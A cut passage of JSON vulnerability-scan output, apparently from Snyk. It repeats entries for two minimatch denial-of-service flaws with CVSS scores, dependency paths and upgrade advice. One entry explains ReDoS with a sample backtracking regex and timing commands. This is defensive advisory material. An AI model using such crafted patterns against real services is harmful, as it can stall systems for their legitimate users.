"2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the 